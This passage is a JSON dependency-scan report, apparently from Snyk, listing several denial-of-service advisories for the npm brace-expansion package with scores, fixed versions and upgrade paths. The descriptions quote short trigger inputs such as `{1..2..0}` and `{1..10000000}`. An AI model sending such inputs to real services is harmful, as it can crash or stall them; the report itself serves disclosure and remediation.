false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": 